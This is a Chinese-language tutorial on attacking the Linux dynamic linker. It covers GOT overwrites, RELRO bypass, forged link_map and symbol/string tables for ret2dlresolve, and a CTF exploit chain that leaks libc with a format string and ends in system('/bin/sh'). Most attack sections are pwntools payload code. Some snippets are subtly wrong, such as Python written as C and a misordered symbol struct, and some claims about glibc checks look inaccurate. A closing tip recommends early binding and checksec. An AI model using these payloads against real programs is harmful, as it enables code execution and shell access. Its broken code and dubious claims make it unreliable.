1. 二进制安全攻防中的函数重定位机制
在Linux二进制漏洞利用领域,函数重定位流程一直是攻击者重点关注的突破口。动态链接库的函数调用需要通过PLT/GOT表完成地址解析,这个过程涉及到延迟绑定(Lazy Binding)机制。当程序首次调用外部函数时,动态链接器会通过.plt和.got.plt节区协作完成地址解析,而正是这个看似正常的流程中隐藏着多个危险的安全假设。
以典型的call printf@plt指令为例,实际执行流程会经历以下关键步骤:
- 跳转到
.plt节区中的printf桩代码 - 从
.got.plt读取目标地址(首次调用时指向回跳指令) - 触发动态链接器的
_dl_runtime_resolve函数 - 完成符号查找并回填GOT表
这个过程中至少存在三处可能被攻击者利用的关键点:
- GOT表条目在重定位前可写
_dl_runtime_resolve的参数控制- 符号查找依赖的字符串表可被污染
2. 经典GOT覆写攻击手法剖析
2.1 基础GOT劫持技术
在部分RELRO(Relocation Read-Only)保护未开启的场景下,.got.plt节区在运行时保持可写状态。攻击者通过堆溢出或格式化字符串漏洞修改GOT条目,可以将函数调用重定向到恶意代码。实际操作中需要注意以下技术细节:
// 获取GOT表地址的常用方法 void* got_printf = elf.got['printf']; // 通过pwntools获取 void* got_printf = *((void**)plt_printf+2); // 通过PLT指令推算 // 典型覆写操作 payload = flat([ b'A'*offset, p64(got_printf), p64(system_addr) ])关键细节:现代glibc在
_dl_fixup中增加了对GOT条目合法性的检查,直接修改为栈地址或堆地址可能会触发异常。建议将目标地址指向可执行内存区域。
2.2 对抗Partial RELRO保护
当二进制开启Partial RELRO时,虽然.got节区变为只读,但.got.plt仍可写。此时需要精确区分两个节区的位置:
readelf -S target | grep -E '\.got|\.got.plt'攻击者可以通过以下方式绕过保护:
- 劫持.got.plt中的函数指针
- 利用
_dl_runtime_resolve的延迟绑定特性 - 在首次调用目标函数前完成GOT修改
3. 针对动态链接器的高级攻击
3.1 _dl_runtime_resolve参数控制
_dl_runtime_resolve在解析符号时需要两个关键参数:
- link_map:描述当前对象依赖关系
- reloc_arg:重定位条目索引
通过栈溢出控制这两个参数可以实现更复杂的攻击:
# 构造伪造的link_map结构 fake_link_map = flat({ 0x0: p64(0x7ffff7ffe168), # l_addr 0x68: p64(0x600e28), # l_info[DT_STRTAB] 0x70: p64(0x600e18), # l_info[DT_SYMTAB] # ...其他必要字段... }) # 触发重解析 payload = flat([ b'A'*offset, fake_link_map, p64(reloc_index), p64(0x401030) # 返回到PLT[0] ])3.2 符号表污染攻击
通过控制DT_STRTAB或DT_SYMTAB指针,攻击者可以操纵动态链接器的符号解析过程。典型攻击步骤包括:
- 泄露堆地址或库地址
- 在可控内存区域构造伪造字符串表
- 修改link_map中的l_info字段
- 触发对目标符号的重新解析
// 伪造的字符串表示例 char fake_strtab[] = { '\0', // 首个字节为0 's','y','s','t','e','m','\0', // 替换原函数名 '/','b','i','n','/','s','h','\0' };4. 现代防护机制与绕过技巧
4.1 Full RELRO的突破点
当二进制编译时添加-Wl,-z,relro,-z,now参数,所有重定位条目将在加载时立即解析并设为只读。此时传统GOT覆写不再适用,但仍有以下攻击面:
- 利用
dl_iterate_phdr泄露内存布局 - 通过
__libc_dlsym进行动态解析 - 攻击非直接绑定的函数指针
4.2 对抗符号版本检查
glibc 2.34+引入了更严格的符号版本验证,可通过以下方式绕过:
- 复用合法版本字符串
objdump -T libc.so.6 | grep 'puts' # 获取合法的版本标记如GLIBC_2.2.5- 在伪造的符号条目中设置正确版本索引
fake_sym = flat([ p32(st_name), # 字符串表偏移 p8(0x12), # 其他标志位 p8(0), # 版本索引 p16(0), # 节区索引 p64(0), # 值/大小 ])5. 实战案例:组合利用技巧
某CTF赛题中的真实攻击链构建:
- 通过栈溢出泄露libc地址
- 伪造包含
system字符串的假符号表 - 修改
link_map的l_info[DT_STRTAB] - 触发
free@plt的重新解析 - 最终执行
system("/bin/sh")
关键payload构造:
# 步骤1:泄露libc p.sendlineafter('>', '%15$p') libc.address = int(p.recvline(),16) - 0x24083 # 步骤2:构建伪造结构 fake_strtab = b'\0'+b'system\0/bin/sh\0' fake_symtab = flat([ 0, 0x12000000, 0, 0 # 伪造的符号条目 ]) # 步骤3:修改link_map指针 payload = flat({ 0x20: p64(heap_addr), # 指向伪造的link_map 0x28: p64(0) # reloc_arg })防御建议:开发时应确保所有动态链接函数在早期统一解析,避免运行时出现未受保护的延迟绑定。安全团队可以通过
checksec --file=target快速检测RELRO保护状态。